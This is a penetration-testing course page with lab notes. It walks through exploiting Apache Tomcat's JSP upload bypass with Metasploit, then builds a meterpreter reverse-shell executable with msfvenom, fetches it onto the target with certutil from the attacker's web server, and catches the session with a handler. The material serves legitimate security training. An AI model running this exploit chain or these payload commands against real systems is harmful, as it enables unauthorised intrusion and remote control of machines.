INE Training Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • INE Training Notes
  • Courses
    • eJPT - PTSv2
      • 📒Penetration Testing Prerequisites
        • Introduction
        • Networking
        • Web Applications
      • 📒1. Assessment Methodologies & Auditing
        • Information Gathering
        • Footprinting & Scanning
        • Enumeration
          • 🔬SMB Enum
          • 🔬FTP Enum
          • 🔬SSH Enum
          • 🔬HTTP Enum
          • 🔬MYSQL Enum
          • 🔬SMTP Enum
        • Vulnerability Assessment
        • Auditing Fundamentals
      • 📒2. Host & Network Penetration Testing
        • System/Host Based Attacks
          • 🪟Windows Attacks
            • 🔬IIS - WebDAV
            • 🔬SMB - PsExec
            • 🔬RDP
            • 🔬WinRM
            • 🔬Win Kernel Privesc
            • 🔬UAC Bypass
            • 🔬Access Token
            • 🔬Alternate Data Stream
            • 🔬Credentials Dumping
          • 🐧Linux Attacks
            • 🔬Bash
            • 🔬FTP
            • 🔬SSH
            • 🔬SAMBA
            • 🔬Cron Jobs
            • 🔬SUID
            • 🔬Hashes Dumping
        • Network Based Attacks
          • 🔬Tshark, ARP, WiFi
        • The Metasploit Framework (MSF)
          • 🔬HFS - MSF Exploit
          • 🔬Tomcat - MSF Exploit
          • 🔬FTP - MSF Exploit
          • 🔬Samba - MSF Exploit
          • 🔬SSH - MSF Exploit
          • 🔬SMTP - MSF Exploit
          • 🔬Meterpreter - MSF
          • 🔬Win Post Exploitation - MSF
          • 🔬Linux Post Exploitation - MSF
        • Exploitation
          • 🔬Fixing Exploits - HFS
          • 🔬Win Workflow Platform - MSF
          • 🔬Win Black Box Pentest
          • 🔬Linux Black Box Pentest
        • Post-Exploitation
          • 🔬Windows Post-Exploitation
          • 🔬Windows Privilege Escalation
          • 🔬Windows Persistence
          • 🔬Linux Post-Exploitation
          • 🔬Linux Privilege Escalation
          • 🔬Linux Persistence
          • 🔬Cracking Hashes
          • 🔬Pivoting
        • Social Engineering
      • 📒3. Web Application Penetration Testing
        • Intro to Web App Pentesting
          • 🔬HTTP Enumeration
          • 🔬Web App Scanning
          • 🔬Web App Attacks
      • 🔬Exam Preparation - Labs
        • PTSv1 Prerequisites Labs
          • 🔬HTTP(S) Traffic Sniffing
          • 🔬Find the Secret Server
          • 🔬Data Exfiltration
          • 🔬Burp Suite Basics - Directory Enumeration
        • PTSv2 Practice Labs
      • 🌐eJPT References
      • 📜eJPT Cheat Sheet
    • ICCA
      • 📒1. Cloud Foundations
      • 📒2. Cloud Management Concepts
      • 📒3. Cloud Identity, Security, and Compliance
      • 🌐Icca References
    • eMAPT
      • 📒Android
      • 📒iOS
      • 🌐eMAPT References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page

Was this helpful?

Edit on GitHub
  1. Courses
  2. eJPT - PTSv2
  3. 📒2. Host & Network Penetration Testing
  4. The Metasploit Framework (MSF)

🔬Tomcat - MSF Exploit

Previous🔬HFS - MSF ExploitNext🔬FTP - MSF Exploit

Last updated 2 years ago

Was this helpful?

Lab 1

🔬

  • Target IP: 10.2.24.113

  • Exploit the target with the appropriate Metasploit Framework module

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.24.113
setg RHOST 10.2.24.113
workspace -a TOMCAT
  • Perform an nmap scan directly into MSF

db_nmap -sS -sV -O 10.2.24.113
  • Try tomcat from a browser

    • http://10.2.24.113:8080/

services
search type:exploit tomcat_jsp
use exploit/multi/http/tomcat_jsp_upload_bypass
info
# Description:
#  This module uploads a jsp payload and executes it.
check
run
  • Or use a specific payload

set payload java/jsp_shell_bind_tcp
options
set SHELL cmd
run
  • A CMD shell session is provided

cd /
type flag.txt
Reveal Flag: 🚩

92d60a06d0ea2179c9a8c442c0bd0bc0

  • Obtain a Meterpreter session

background
sessions
  • Generate a Windows meterpreter payload. Open a new terminal tab

ip -br -c a

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.18.2 LPORT=1234 -f exe > meterpreter.exe
sudo python3 -m http.server 80
  • In the first msfconsole tab

sessions
sessions 2

certutil -urlcache -f http://10.10.18.2/meterpreter.exe meterpreter.exe
  • Terminate the python web server and set up the handler in the second tab

vim handler.rc
# Insert the following lines

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.18.2
set LPORT 1234
run

# Save it and exit
msfconsole -r handler.rc
  • Execute the meterpreter.exe on the target system

.\meterpreter.exe
  • Reverse Meterpreter session will be opened.


Windows: Java Web Server
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution
db_nmap -sS -sV -O 10.2.24.113